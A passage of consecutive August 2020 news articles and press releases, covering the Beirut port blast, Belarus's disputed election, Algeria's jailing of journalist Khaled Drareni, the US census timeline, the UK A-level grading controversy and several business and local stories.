huge pile of highly volatile ammonium nitrate fertiliser had been left unsecured for years. Whatever the cause of the fire was, the popular consensus is that the blame rests squarely on the shoulders of officials in charge of the port as well those who have ruled Lebanon country for decades. "We gave them heroes and they returned them to us as 'martyrs'," Rita said, scoffing at the label officials have used to brand blast casualties. "What martyrs? What were they protecting? The noxious things (authorities) were hiding in the port?" she asked rhetorically. "They are martyrs of treachery." - DNA tests - George, father of Charbel Hitti, also rushed to the blast site to look for his son and relatives after the explosion. "I started to scream their names: Najib, Charbel... I was like a mad man," he told AFP. "We waited until 6 in the morning the next day for clues to what happened," he said. "In the end, I started crying." He did manage, however, to get one piece of information from a port security official close to the family who was at the scene of the blaze when the firefighting team first arrived on August 4. The security official had told him that the firefighters were trying to break open the door to the ammonium nitrate warehouse because they could not find the keys before the explosion ripped the whole place apart. A week has since passed and George said hopes of finding the three men alive have faded. Assuming they are dead, George said he now wants one thing: "We just want DNA test results that are compatible with those of Charbel, Najib and Charbel," he said. "Imagine. This is everything we now wish for." lar/ho/jmm/hc NEW YORK and LONDON and SINGAPORE, Aug. 11, 2020 /PRNewswire/ -- AxiomSL, the industry's leading provider of regulatory reporting and risk management solutions, today announces its Fundamental Review of the Trading Book (FRTB-SA) and Counterparty Credit Risk (SA-CCR) certification - as one of the first to provide clients with calculations in line with the International Swaps and Derivatives Association's (ISDA) 'golden source' calculations. This will help our clients to better manage Basel IV requirements, as well as future US regulatory mandates. The golden source calculations are designed to ensure the credibility of firms' standardised calculations for FRTB, SA-CCR and CVA (Credit Valuation Adjustment). ISDA is working with all stakeholders to promote the global harmonisation of these calculations required by regulatory authorities. The initial benchmarking program commenced in 2018 and runs through to July 2021. AxiomSL is among the first vendors to comply with the rigorous calculations as per the ISDA benchmarks. Panayiotis Dionysopoulos, Head of Capital, ISDA, says: "ISDA is spearheading an initiative involving over 40 member banks to drive the accurate and consistent implementation of the new Standardised Approach capital models across the industry. We are delighted that solution providers are now joining this initiative and welcome AxiomSL as an early adopter". The initiative will help promote transparency and alignment between regulators and market participants ensuring regulatory goals can be met more efficiently. AxiomSL's calculations will match ISDA's golden source calculations, thereby providing out-of-the-box collaborative industry credibility and also the required robustness for regulatory scrutiny. For the most complex standardised calculations (FRTB, SA-CCR, CVA) in the new Basel IV world, banks are now able to comply with confidence using the AxiomSL data integrity and control platform. Edward Royan, Head of Global Products, AxiomSL, states: "ISDA has a 30+ year of track record as a trade association that has demonstrated its leadership role globally. It is an honor to collaborate with such a respected organisation and being the leading vendor to deliver these complex calculations attested to ISDA's unit test benchmark. The AxiomSL solutions will provide the instant credibility that enables our clients and financial institutions to achieve greater standardisation of data and processes, enhancing consistency and increasing efficiency in complying with new standardised calculation regulations". About AxiomSL AxiomSL is a global leader in risk analytics, data-management, and regulatory-reporting solutions. Leveraging more than 25 years' experience, AxiomSL combines its deep industry experience and intelligent data-management platform to deliver solutions and services around regulatory and risk reporting, liquidity, capital and credit, operations, trade and transactions, and tax analytics. The platform can be deployed on premise or on the cloud. Its client base spans regional and global financial institutions with more than $43 trillion in total assets and investment managers with more than $11 trillion in assets under management. Its coverage encompasses more than 110 regulators across 55 jurisdictions. AxiomSL is in the top 20 of the Chartis RiskTech100 2020 ranking. Website: www.axiomsl.com About ISDA Since 1985, ISDA has worked to make the global derivatives markets safer and more efficient. Today, ISDA has over 925 member institutions from 75 countries. These members comprise a broad range of derivatives market participants, including corporations, investment managers, government and supranational entities, insurance companies, energy and commodities firms, and international and regional banks. In addition to market participants, members also include key components of the derivatives market infrastructure, such as exchanges, intermediaries, clearing houses and repositories, as well as law firms, accounting firms and other service providers. Information about ISDA and its activities is available on the Association's website: www.isda.org. Follow us on Twitter , LinkedIn , Facebook and YouTube . Press contacts Shamira Alidina Media Relations Director, Dina Communications Tel +44 (0) 7801 590718 Email: [email protected] John Roderick President, J. Roderick Public Relations Tel: +1 631 584 2200 Email: [email protected] Francine Gittins Global Head of Marketing and Communications, AxiomSL Tel: +1 212 248 4188 Email: [email protected] SOURCE AxiomSL Related Links https://www.axiomsl.com Chiunque arriva in Finlandia e provenga da un "paese a rischio" dovra osservare due settimane di quarantena altrimenti sara soggetto ad una multa o a una pena detentiva di tre mesi. Lo hanno annunciato le autorita finlandesi. Fino ad ora il Paese nordico si era accontentato di raccomandare l'autoisolamento di quattordici giorni, senza imporre una sanzione ai recalcitranti. Il ministro della Salute Krista Kiuru ha spiegato che le misure entreranno in vigore "il prima possibile". Questa decisione fa seguito all'arrivo in Finlandia di persone dai paesi dell'Est o dei Balcani, risultate positive o che hanno rifiutato di sottoporsi al test all'arrivo in aeroporto. Dopo un numero molto limitato di contagi all'inizio dell'estate, negli ultimi sette giorni in Finlandia sono stati registrati 135 nuovi casi. "Il numero di contagi ci ha sorpreso", ha detto ai giornalisti il ministro Kiuru. I funzionari sanitari hanno attribuito questo aumento di infezioni all'arrivo di persone positive dall'estero. Le nuove restrizioni si applicheranno a tutti i passeggeri provenienti da paesi che non sono nella lista verde stabilita dalle autorita finlandesi. Secondo questo elenco, circa 25 paesi al mondo sono considerati sicuri, tra cui Irlanda, Giappone, Grecia, Cipro o Uruguay. La Finlandia e, secondo l'Organizzazione mondiale della sanita, uno dei paesi in Europa con un tasso di contaminazione molto basso: solo tre casi ogni 100.000 abitanti. Riproduzione riservata (Unioneonline/v.l.) Early on August 11, it became known that Belarusian opposition presidential candidate Svyatlana Tsikhanouskaya had left Belarus and was in Lithuania. In a video released later the same day, she read a statement in which she urged Belarusians not to risk their lives by resisting the authorities. She also said that the people had made their choice an ambiguous remark that could allow the government to claim that she conceded an election she had said a day earlier that she had won: The Russian website Mediazona cited anonymous sources as saying the video had been recorded on August 10, before Tsikhanouskaya left Belarus. And Tsikhanouskaya campaign aide Maryya Kalesnikava said the video was shot in the office of Central Election Commission head Lydzia Yarmoshina. As backers and other Belarusians worried about the circumstances of Tsikhanouskayas departure, observers puzzled over what impact it might have on the mounting unrest in Belarus, which has been noted for its decentralized nature from the beginning. Tsikhanouskaya always insisted that she was a symbol of the peoples discontent, rather than the leader of a political movement. She disavowed any ambition to be president and promised only to hold a new, free, and fair election if she defeated incumbent President Alyaksandr Lukashenka, who electoral officials claim won more than 80 percent of the vote. She has been an ideal symbol of change, Minsk-based journalist and political analyst Ihar Ilyash told Current Time. For that reason, it doesnt matter what she is doing at this specific moment. As a symbol, she fulfilled her function flawlessly. She fulfilled that function and will continue to do so. The people are simply sick of Lukashenka. Tsikhanouskayas press secretary, Hanna Krasulina, issued a statement saying the candidates departure doesnt change anything. She did all that she could, educated and inspired people, achieved victory in the election, Krasulina said. "Now the people are going to act without her. They are not protesting for Tsikhanouskaya but for themselves, for their families, and for their nation. Even before it was known that Tsikhanouskaya had left the country, Belarusian journalist Dzmitry Navosha noted that she was under enormous pressure from a harsh police state. Svyatlana Tsikhanouskaya has conducted herself extremely nobly and has done all that she could do, he told RFE/RLs Russian Service about the 37-year-old former English teacher and political novice who entered the race after her husband, popular vlogger Syarhey Tsikhanouski, was arrested. Now it is up to Belarusian society to either achieve or not achieve its goals. Tsikhanouskaya left the country shortly after she had a private conversation with Belarusian security officials while she was presenting an official complaint to the Central Election Commission about alleged falsification of the August 9 presidential election. Although the precise circumstances of her departure remain unknown, past evidence strongly suggests that Lukashenkas government plays hardball in such circumstances. In the run-up to the 2001 presidential campaign, as many as 30 people connected with the opposition disappeared under Lukashenka and there was some documentary evidence that the president had ordered the formation of a hit squad for eliminating opposition figures. The mystery of the disappearances has never been solved. WATCH: Svyatlana Tsikhanouskaya talked to Current Time on August 3: After the 2010 election, Lukashenkas security forces arrested hundreds of opposition protesters and seven of the candidates who opposed Lukashenka in the election. Tsikhanouskayas husband was arrested in Minsk in June and remains in government custody. In July, Tsikhanouskaya moved her children out of Belarus following threats against them. About a dozen members of her staff were arrested during the campaign and many of them also remain in custody. Earlier, Tsikhanouskaya had issued a brief, emotional video in which she announced that she had left Belarus and ended with the assertion that children are the most important thing in life: In a post on Facebook, Russian journalist Yevgenia Albats wrote that we can only guess what threats were made against her, her husband, and the head of her elections staff...during the seven hours that she was kept at the Belarusian Central Election Commission. From the beginning, the Belarusian unrest supported Tsikhanouskaya but was not guided by her. Protests popped up in towns and cities across the country and lively discussions of what to do next were held in various chat forums on the Telegram social-media platform. Internet sites in Belarus are almost completely blocked; even pro-government sites cant be opened, said Roman Protasevich, the Warsaw-based editor of the Nexta Telegram channel, told Current Time, the Russian-language network led by RFE/RL in cooperation with VOA. Essentially, the only thing that is working without using a VPN or a proxy is Telegram. It continues working. Plans [of action] arise based on what people themselves decide, he continued. There is a large number of internal chats, including chats on our channels where they really have created entire networks. Many of them have more than 10,000 participants, and people really are trying to coordinate themselves. And gradually, brick by brick, plans come together. "The main idea now for many people is the decentralization of the protests. People understand that this is the most effective way considering that the police habitually gravitate toward one point. On August 11, an announcement was posted on one of Nextas Telegram channels calling for an immediate general strike. The statement issued three demands: that Tsikhanouskaya be declared the winner of the August 9 election; that all political prisoners be released; and that a new, honest election be held. Our polling showed that more than two-thirds of Belarusians are ready to leave their workplaces today in order to bury this regime once and for all, the statement said. The statement also directed supporters not to Tsikhanouskayas campaign but to a trio of Telegram channels. The opposition in Belarus is keenly aware that after the disputed 2010 election, the security forces quickly put down a massive demonstration in the capital, Minsk, while the rest of the country largely watched. Lukashenka subsequently bragged that it only took 7 1/2 minutes to quell the unrest. Hence, the decentralization strategy. It seems that the protesters dont have a clear plan, said Belarusian political analyst Artsyom Shraybman. When there is no plan, protests often die out. There is no plan for victory yet. But then again, no revolution was ever carried out according to a plan. Written by RFE/RL senior correspondent Robert Coalson based on reporting by RFE/RLs Belarus Service, RFE/RLs Russian Service, and Current Time (Newser) Security officials warned Lebanon's president and prime minister that the 2,750 tonnes of ammonium nitrate stored in Beirut's port could explode, destroying the city, just two weeks before that more or less happened. That's according to Reuters, which got its hands on a state security report on the events leading up to last week's explosion. The reportnoting that the Russian-chartered, Moldovan-flagged vessel carrying the material had been traveling from Georgia to Mozambique when it docked in Beirut in late 2013 and was impounded for outstanding debtsreferences a July 20 letter sent to President Michel Aoun and Prime Minister Hassan Diab. (The prime minister resigned Monday.) An official involved in crafting the letter says it recapped the findings of a judicial investigation and warned that the material needed to be secured immediately. story continues below A rep for Diab says he forwarded it to the Supreme Defense Council for a recommendation. Last week, Aoun said he'd directed the council's secretary general to act as needed. "I am not responsible!" he said, per Reuters. "I have no authority to deal with the port directly." Port, customs, and security officials had requested the removal of the ammonium nitrate every six months since 2015, per Reuters. It had been unloaded in October 2014 and inspected the following year. But the army declined to accept it, as did the Lebanese Explosives Company. An American contractor working with the US Army warned about the chemicals some four years ago, according to a US diplomatic cable seen by the New York Times. But a senior State Department official says it was "an unofficial site visit" and the department had no record of his findings until last week. (Read more Beirut stories.) WEXFORD COUNTY The Michigan State Police (MSP) Cadillac Post welcomes its newest member to the team. A female Labrador retriever named LuLu recently graduated from canine school and is ready to serve, according to a press release from the MSP. LuLu received specialized training and is a single purpose dog. She is also very friendly according to her handler, Trooper Matt Unterbrink. She is from Hungary and received six weeks of specialized training tracking explosives, said Unterbrink. LuLu can move through crowds and track explosives. If she detects explosives, she will follow the odor to the source. Even if the person carrying it is on the move. She is a single purpose dog and the only one north of Lansing with this ability. Her calm demeanor and friendly personality make her the perfect dog to work crowded venues. The MSP currently has five dogs that have this specialized training, according to the news release. German Shepherds were used as explosive dogs, but they were brought in before an event to clear an area. "The friendly demeanor of the Labrador retriever makes them the perfect dog to use while an event is taking place and they can move about the crowd with ease," according to the MSP. Mark Savaya, CEO of Future Grow Solutions in front of the exclusive CropTower cannabis growing system. Like a Henry Ford of marijuana, Savayas cohesive cannabis business systemfrom mother plants and seedlings, all the way to the Leaf & Bud-branded marijuana products for retail saleis bold, ambitious and a superb business model. Mark Savaya, CEO of Future Grow Solutions, is expecting his latest business venture to produce a big harvest of benefits to the community of Center Line, Michigan. Like a Henry Ford of marijuana, Savayas cohesive cannabis business systemfrom mother plants and seedlings all the way to the Leaf & Bud-branded marijuana products for retail saleis bold, ambitious and a superb business model. Located in a Center Line green zone, the former Charter Steel facility has been renovated into the newest Future Grow Solutions system cannabis complex, operating with Center Line Group One, LLC and Nate Group, LLC. The complex will hold marijuana growing, production and provisioning in one area. Savaya purchased the cannabis campus in 2019 and will invest $7-8 million in building upgrades, safety and security and production equipment. The City of Center Line has worked for over three years to create opportunities for the Medical Marijuana industry, said Dennis Champine, City Manager/City Clerk for the City of Center Line. The city has developed reasonable guidelines for potential Medical Marijuana businesses. The application and approval process for MMFL permits is seamless, fair, and unbiased. We welcome Future Grow Solutions to the community and are appreciative of their investment! The city of Center Line was extremely helpful, willing and ready to work with us, said Savaya. They worked quickly and helped us move along efficiently. It was an absolute pleasure working with them. A majority of the investment was in the initial production, cultivation and production equipment. Future Grow Solutions is the exclusive Michigan distributor of the Hyperponic CropTower Systema vertically integrated growing system that produces extremely high yields using recycled, filtered water and LED lighting. Each tower can hold 102 plants and can harvest 120 pounds of marijuana annually. Savaya anticipates having 9,000 plants in continual harvest at the facility. Savaya believes the market and demand for his services and products will bring more than 80 jobs and an estimated nearly $500,000 in taxes and licenses to the city of Center Line. Of that, nearly $10,000 is for administrative, inspection and enforcement fees. Savaya anticipates Center Line Group One, LLC and Nate Group, LLC will pay an average $1 million in taxes to the state of Michigan annually. In addition to providing cultivation and production equipment, Future Grow Solutions will lease and sell supplies, provide staffing and other business necessities to cannabis growers, cultivators and investors. The products produced using the system will be sold under the brand Leaf & Bud. There will be eight Leaf & Bud provisioning centers, including the largest center in Macomb County. I want people to benefit from what I have already learned, Savaya said. It can be an unbelievably challenging system to figure out, so why not share my expertise? It will only help everyone in this budding market. Future Grow Solutions, Center Line, is hosting media tours. Please contact Gretchen A. Monette at 248-981-3852, gmonette@allseasonscommunications.com to arrange a visit and interview. Future Grow Solutions is a Michigan-based company created to help the cannabis industry maximize their profits and produce exceptional products. With an experienced team and network of solutions, Future Grow Solutions offers services, equipment, and consulting to the grow and cultivation industry. For more information, visit http://www.futuregrowsolutions.com. Algerian journalist Khaled Drareni was sentenced yesterday, Aug. 10, to three years in prison, convicted of inciting unauthorized demonstrations and attacking national unity. Drareni will also pay a fine of 50,000 dinars ($390). Two Hirak activists arrested with him Samir Benlarbi and Slimane Hamitouche were sentenced to two years in jail each. The ruling shocked many in Algeria and around the world. Its a very heavy verdict for Khaled Drareni. We are surprised, Drarenis lawyer and president of the Algerian League for Human Rights Nouredine Benissad told the press. Dozens of journalists and activists in the Hirak movement demonstrated outside the courthouse in Algiers, chanting Free Drareni. Many of them could not hide their emotions when Drarenis lawyer came out of the courthouse to announce the verdict. Head of the press freedom group Reporters Without Borders (RSF) Christophe Deloire tweeted, "Algerian justice has just sentenced journalist Khaled Drareni to three years in prison. This decision lifts hearts and minds with its arbitrary, absurd and violent nature." Drareni, 40, worked for years as independent journalist for the French TV5 Monde, with RSF and for other media outlets. He was also the editor of the local Casbah Tribune news site and was very active on social media, with 147,000 followers on Twitter. Covering the Hirak pro-democracy protests was probably his biggest project. The saga of his arrest and conviction began at the beginning of March, when he was detained by police after covering a Hirak march. He was later released, only to be arrested again on March 29. "For the authorities, for this system, an independent journalist is a criminal. So I would rather be a free journalist and a criminal. I will continue with my journalistic work completely independently and free," said Drareni on Aug. 10, during the short period between the two detentions. Human rights groups from all over the world have campaigned for Drarenis release and many Algerians consider him a free speech icon. He himself has always denied the charges against him, insisting that he was only doing his job and fulfilling his mission as a journalist. Still, Drareni was not surprised by the arrest, which came only days after prominent opposition leader Karim Tabou was sentenced to a year in prison. Civic groups in Algeria note that in the past few months and despite the toppling of the countrys President Abdelaziz Bouteflika, opposition activists and members of the Hirak movement are being increasingly detained. Journalists and bloggers suspected of sympathizing with Hirak are also harassed by the authorities. On April 27, a Setif court detained blogger Walid Keshida for posting caricatures on Facebook. The prosecution accused Keshida of blasphemy and insulting state symbols. On June 12, Algerian police arrested Merzoug Touati, a reporter for the news website LAvant-Garde. Touati, like Drareni, was covering anti-government protests in the city of Bejaia. The West Australian government will attempt to change legislation governing Clive Palmer's Mineralogy iron ore operations to thwart a damages claim it says could top $30 billion. But the Queensland billionaire says the government is running scared and is only contemplating the move because it knows it would lose before the courts. WA Attorney General John Quigley introduced emergency legislation in Parliament on Tuesday afternoon and said Mr Palmer and his companies were seeking compensation over a dispute dating back to 2012. The dispute relates to former WA Premier Colin Barnett's 2012 refusal to formally assess the proposed Balmoral South iron ore mine 80 kilometres south west of Karratha in WA's Pilbara region, which Mr Palmer claims breached a state agreement inked in 2002. President Donald Trump on Monday postponed the Group of Seven (G7) meeting until after the United States election in November, after a previous delay due to COVID-19 concerns, CNN reported. Im much more inclined to do it sometime after the election, Trump told reporters at a news briefing. We were going to do it in September. G7 is an international intergovernmental economic organisation consisting of seven major developed countries: Canada, France, Germany, Italy, Japan, the United Kingdom and the United States. The countries are the largest IMF-advanced economies in the world. The presidency of the G7 rotates annually, and Mr Trump is this years chair. According to CNN, the summit was slated to be held at Camp David in June, and after a tentative plan to postpone the meeting and switch to a virtual conference, Mr Trump had floated in May the idea of doing it in person in the fall. READ ALSO: Mr Trump said the White House had not yet formally invited leaders. We havent sent out invitations. Were talking to them, he said. The American leader said he planned to invite countries that are not formal members of the Group of Seven. When asked whether he would invite Russian President Vladimir Putin, Mr Trump said he would do so because Mr Putin is an important factor. I certainly would invite him to the meeting. I think hes an important factor. ARIZONA The U.S. Census Bureau recently announced it will suspend counting efforts in Arizona and other states a month earlier than originally planned. The move, an attempt by the bureau to accelerate the decennial count amid the ongoing coronavirus pandemic, was confirmed in a statement by bureau director Steven Dillingham. On Sept. 30, the bureau will cease critical door-knocking efforts and will stop collecting responses online, over the phone, and by mail. As of Aug. 6, roughly 4 out of 10 U.S. households have yet to be counted. The national response rate is 63 percent, a minimal increase from mid-June, when the response rate was 61.5 percent. In Arizona, response rates are a bit lower than the national average. To date, 60 percent of households in our state have responded to the census. The last-minute timeline change leaves the bureau with less than two months to try to reach people of color, children, senior citizens, undocumented immigrants, renters, the homeless and low-income people all of whom are among the least likely to be counted accurately in the census and are also among the hardest hit by the coronavirus pandemic. Should these households not respond, cities, counties, and states could lose out on billions of dollars that fund crucial services needed before, during and after the pandemic. This includes hospitals, Head Start programs, school lunch programs, Medicaid, food stamps and more. The announcement also comes after NPR first reported that the agency decided to cut short door-knocking efforts for the census. Before the pandemic hit, census counts were originally supposed to be finished by the end of July. With support from President Donald Trump, the timeline to complete the federally-mandated count was extended. However, the pandemic continued to plague the bureau with outreach challenges. In March, census officials suspended field operations, pulling workers off the streets to protect them from the virus. This included efforts to drop off census forms at households in rural areas with no traditional addresses. Story continues Workers didnt return until May 4 as part of a phased restart. Organizations throughout the country also put in-person outreach on hold. Plans to set up booths at farmers markets and work with child care centers have been abandoned, replaced by digital advertising, social media, and telephone calls. Last week, bureau chief Dillingham signaled a shift in plans by telling members of Congress "the Census Bureau and others really want us to proceed as rapidly as possible." Dillinghams comments came as the bureau quietly removed references to Oct. 31 the previously announced end date for all counting efforts from its website, NPR reported. If your household is among those who have not responded to this years census, its not too late. In a move designed to cut costs and keep up with digital lifestyles, the census questionnaire is available at my2020census.gov. Anyone residing in the U.S. can access the online questionnaire. The 2020 census counts everyone living in the United States and its five territories. Learn more about how to respond to the 2020 census. This article originally appeared on the Across Arizona Patch Ministers have issued a plea to universities to hold places for students challenging their A-level grades this year amid fears of chaos on results day. Universities minister Michelle Donelan urged institutions to reserve spaces and warned that nobody should have to put their future on hold because of the coronavirus crisis. In return universities will be allowed a number of extra places for students who meet certain conditions as part of their appeal, she announced. The government is expected to face a huge backlash from parents and pupils when A-level results are announced on Thursday. Exam boards are also braced for a large number of appeals. The exams were scrapped because of Covid-19, meaning results will be calculated using teachers grades and a statistical model which will see some students marks downgraded based on their schools past exam performance. Pupils have been told they can appeal but there are fears a delay will cost them their university place. Nicola Sturgeon, Scotlands first minister, was yesterday forced to apologise to Scottish students after a similar system saw an estimated 125,000 marks downgraded there. Today, education experts warn any attempt to predict A-level grades is a near-impossible task. Ms Donelan has called on universities to be flexible and take into account a range of evidence when admitting students. She also announced that students whose grades meet their university offer following a successful appeal will be exempt from counting towards the governments temporary student number controls. Universities in England have been told they are allowed to recruit just 5 per cent more UK students than their target, to prevent institutions over-recruiting in a bid to make up revenue lost to Covid-19. Schools were asked to submit the grades they thought students would have received if they had sat the exams. Exam boards have moderated these grades to ensure this years results are not significantly higher than previous years and the value of students grades are not undermined. Last month, Ofqual said this summers A-level results would have been 12 percentage points better than last year if teacher-assessment grades had not gone through standardisation. In a letter to vice-chancellors, Ms Donelan said ministers expected the vast majority of grades to be accurate. But it is essential that we have this safety net for young people who may otherwise be held back from moving on to their chosen route. She urged: Where you are aware that a students grade may change as the result of an appeal, I would encourage you, where possible, to hold their place until they receive the result of that appeal. Nobody should have to put their future on hold because of this virus. That is why I am urging universities to be as flexible as possible in their admissions and to hold places for those whose grades are being appealed, Ms Donelan said. The Ucas deadline is 7 September, leaving exam boards less than four weeks to issue the outcomes of appeals. Boris Johnson has said he understands the anxiety about grades. A spokesperson for the Joint Council for Qualifications (JCQ), which represents exam boards, said it was working to ensure appeals are completed before the Ucas deadline. Meanwhile, education experts claim any attempt to predict A-level grades is a near-impossible task. Experts from University College London (UCL) and Oxford Brookes Business School have found that high-achieving comprehensive school pupils are more likely to be unfairly marked compared to their grammar and private school counterparts using predicted grades. Based on data from more than 238,000 GCSE performances, the academics discovered that even when removing any opportunity for bias and running additional checks on gender, ethnicity and socioeconomic stats they could only predict a quarter of pupils best three A-levels correctly. UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 14 January 2022 Ecologist Emma Smart (left) and retired GP Dr Diana Warner outside HMP Bronzefield, in Surrey, following their release from the prison where Emma undertook a 26-day hunger strike during her incarceration. Ms Smart was sentenced in November, along with other members of Insulate Britain, to serve four months for breaking a High Court injunction by taking part in a blockade at junction 25 of the M25 motorway during the morning rush hour on 8 October last year PA UK news in pictures 13 January 2022 A TV presenter holds a copy of a newspaper outside 10 Downing Streetafter the Prime Minister apologised for attending a gathering of colleagues in the Number Ten garden in May 2020, while the UK was in strict lockdown due to the Coronavirus pandemic Getty UK news in pictures 12 January 2022 Fitness guru Derrick Evans after receiving an MBE during an investiture ceremony at Windsor Castle PA UK news in pictures 11 January 2022 A couple walk underneath an umbrella during wet weather on Westminster Bridge in central London PA UK news in pictures 10 January 2022 A jogger passes the Covid Memorial Wall in London AP UK news in pictures 9 January 2021 The sun rises over horses at Seaton Sluice in Northumberland PA UK news in pictures 8 January 2022 Riders compete during the Veterans Men's race at the UK Cyclo-Cross National Championships 2022 in Ardingly, south of London AFP/Getty UK news in pictures 7 January 2022 A dog looks out of a car window at the wintry conditions in Killeshin, Co. Laois PA UK news in pictures 6 January 2022 People walk through frost and mist alongside a frozen lake during sunrise in Bushy Park, London REUTERS UK news in pictures 5 January 2022 A skier jumps on the slopes at Allenheads in the Pennines to the north of Weardale in Northumberland PA UK news in pictures 4 January 2022 Freshly-fallen snow covers houses in Corbridge, near Hexham in Northumberland PA UK news in pictures 3 January 2022 Dean Morrison, 13, receives his Covid-19 vaccine from student nurse Anthony McLaughlin during a vaccination clinic at the Glasgow Central Mosque PA UK news in pictures 2 January 2022 Konastantinos Tsimikas of Liverpool with Chelseas Mason Mount during the Premier League match at Stamfrod Bridge Liverpool FC/Getty UK news in pictures 1 January 2022 New Years Eve Lasers, drones and fireworks illuminate the sky in front of the Royal Naval College in Greenwich shortly after midnight in London EPA UK news in pictures 31 December 2021 Competitors in fancy dress run across the Pennine tops near Haworth, West Yorkshire, in the annual Auld Lang Syne Fell race which attracts hundreds of runners every year PA UK news in pictures 30 December 2021 Sunrise at Bamburgh Castle in Northumberland PA UK news in pictures 29 December 2021 The Very Revd Dr Robert Willis, Dean of Canterbury Cathedral, looks at Becket, a six month old red-billed chough as he visits Wildwood Wildlife Park in Kent on the anniversary of the murder of Thomas Becket PA UK news in pictures 28 December 2021 Troops of the Household Cavalry are seen reflected in a puddle during the changing of the Queens Life Guard, on Horse Guards Parade, in central London PA UK news in pictures 27 December 2021 A pedestrian walks past a winter sale sign outside a John Lewis store on Oxford street in London Getty UK news in pictures 26 December 2021 Riders take their bikes through the snow near Castleside, County Durham PA UK news in pictures 25 December 2021 Patrick Corkery wears a santa hat and beard as waves crash over him at Forty Foot near Dublin during a Christmas Day dip PA UK news in pictures 24 December 2021 People stand inside Kings Cross Station on Christmas Eve in London Reuters UK news in pictures 23 December 2021 Christmas shoppers fill the car park at Fosse Shopping Park in Leicester PA UK news in pictures 22 December 2021 The sun rises behind the stones as people gather for the winter solstice at Stonehenge. Getty UK news in pictures 21 December 2021 People take part in a winter solstice swim at Portobello Beach in Edinburgh to mark the solstice and to witness the dawn after the longest night of the year PA UK news in pictures 20 December 2021 An auction employee displays poultry to buyers and sellers attending the Christmas Poultry Sale at York Auction Centre in Murton PA UK news in pictures 19 December 2021 Joao Moutinho of Wolverhampton Wanderers looks on during the Premier League match between Wolverhampton Wanderers and Chelsea at Molineux Getty Images UK news in pictures 18 December 2021 Freight lorries queuing at the port of Dover in Kent PA UK news in pictures 17 December 2021 Newly elected Liberal Democrat MP Helen Morgan, bursts 'Boris' bubble' held by colleague Tim Farron, as she celebrates following her victory in the North Shropshire by-election PA UK news in pictures 16 December 2021 Brussels sprouts are harvested by workers as they prepare for the busy Christmas period near Boston in Lincolnshire PA UK news in pictures 15 December 2021 Lewis Hamilton is made a Knight Bachelor by the Prince of Wales at Windsor Castle PA UK news in pictures 14 December 2021 The Royal Liver Buildings surrounded by early morning fog in Liverpool PA UK news in pictures 13 December 2021 People queue outside a walk-in Covid-19 vaccination centre at St Thomas's Hospital in Westminster Getty Images UK news in pictures 12 December 2021 People take part in the Big Leeds Santa Dash in Roundhay Park, Leeds PA UK news in pictures 11 December 2021 People arrive at a Covid-19 vaccination centre at Elland Road in Leeds, PA UK news in pictures 10 December 2021 Stella Moris speaks to the media after the US Government won its High Court bid to overturn a judges decision not to extradite WikiLeaks founder Julian Assange PA UK news in pictures 9 December 2021 Camels are lead around Salisbury Cathedral during a rehearsal for the Christmas Eve Service PA UK news in pictures 8 December 2021 Margaret Keenan and Nurse May Parsons, a year after Margaret was the first person in the UK to receive the Pfizer vaccine PA UK news in pictures 7 December 2021 Snowfall in Leadhills, South Lanarkshire as Storm Barra hits the UK with disruptive winds, heavy rain and snow PA UK news in pictures 6 December 2021 A person tries to avoid sea spray on New Brighton promenade in Wallasey as the UK readies for the arrival of Storm Barra Getty UK news in pictures 5 December 2021 People release balloons during a tribute to six-year-old Arthur Labinjo-Hughes outside Emma Tustin's former address in Solihull, West Midlands, where he was murdered by his stepmother PA UK news in pictures 4 December 2021 People walk through a Christmas market in Trafalgar Square Reuters UK news in pictures 3 December 2021 A pedestrian carries a dog as they dodge shoppers on Oxford Street in central London AFP/Getty UK news in pictures 2 December 2021 Duchess of Cambridge inspects a Faberge egg at the Victoria and Albert Museum Getty UK news in pictures 1 December 2021 Meerkats at London Zoo with an advent calendar PA UK news in pictures 30 November 2021 Workers put the finishing touches to the Trafalgar Square Christmas Tree ahead of the lighting ceremony later in the week PA UK news in pictures 29 November 2021 Home Secretary Priti Patel is greeted by a police dog at a special memorial service for Met Police Sergeant Matiu Ratana Getty UK news in pictures 28 November 2021 Riyad Mahrez of Manchester City battles for possession with Aaron Cresswell of West Ham United during a match at the Etihad during snow Manchester City/Getty UK news in pictures 27 November 2021 Residents clear branches from a fallen tree in Birkenhead, north west England as Storm Arwen triggered a rare red weather warning AFP via Getty Images UK news in pictures 26 November 2021 A killer whale (orca in the fjord of Skjervoy, northern Norway AFP/Getty Among high achievers, the team found 23 per cent of comprehensive pupils were underpredicted by two or more grades compared to just 11 per cent of grammar and private pupils. This research raises the question of why we use predicted grades at such a crucial part of our education system, said Professor Lindsey Macmillan from the UCLs Institute of Education. This isnt teachers fault its a near-impossible task. Most worryingly there are implications for equity, as pupils in comprehensives are harder to predict. This years exam results in Scotland have sparked widespread outrage, with allegations of unfair grading and calls for the Scottish governments education secretary John Swinney to resign. Ms Sturgeon was forced to apologise over the issue and promised Mr Swinney would set out a plan to rectify the matter at Holyrood on Tuesday. Students in deprived parts of Scotland were more likely to have their grades downgraded than those in well-off parts of the country since schools in deprived areas tend to have worse results on average. Pass rates for pupils in the most deprived areas were reduced by 15.2 per cent, compared with 6.9 per cent for pupils from the most affluent backgrounds. Nicola Sturgeon talks to staff at West Calder High School yesterday (AFP/Getty) (POOL/AFP via Getty Images) Ms Sturgeon admitted on Monday that the Scottish government had thought too much about the overall system and not enough about the individual pupil. The SNP leader added: That has meant that too many have lost out on grades that they think they should have had and also that that has happened as a result of not of anything theyve done but because of a statistical model or an algorithm, and in addition that burden has not fallen equally across our society. She added: Despite our best intentions, I do acknowledge we did not get this right and Im sorry for that. The most immediate challenge is to resolve the grades awarded to pupils this year. We will not expect every student who has been downgraded to appeal. Mr Swinney has faced calls to resign from opposition parties, with Scottish Labour set to mount a no-confidence vote against him in Holyrood and the Conservatives saying they will support it. Boris Johnson visits St Josephs school in Upminster (Reuters) (REUTERS) Similar to the system used by Scotlands, Englands exams regulator Ofqual is using a direct centre level performance approach in which schools previous performance will be used to calculate A-level results. Downing Street said pupils in England would be able to appeal if they are unhappy with the results produced by the standardisation process. We would expect that the vast majority of students will receive a calculated grade this summer that enables them to move on to the next stage of their education or training, said the prime ministers spokesperson. Recommended Boris Johnson insists schools are safe to reopen Mr Johnson, speaking during a trip to St Josephs school in Upminster on Monday, said: Clearly, because of what has happened this year, there is some anxiety about what grades pupils are going to get. Everybody understands the system that the teachers are setting the grades, then theres a standardisation system. We will do our best to ensure that the hard work of pupils is properly reflected. Mike Nicholson, director of recruitment and 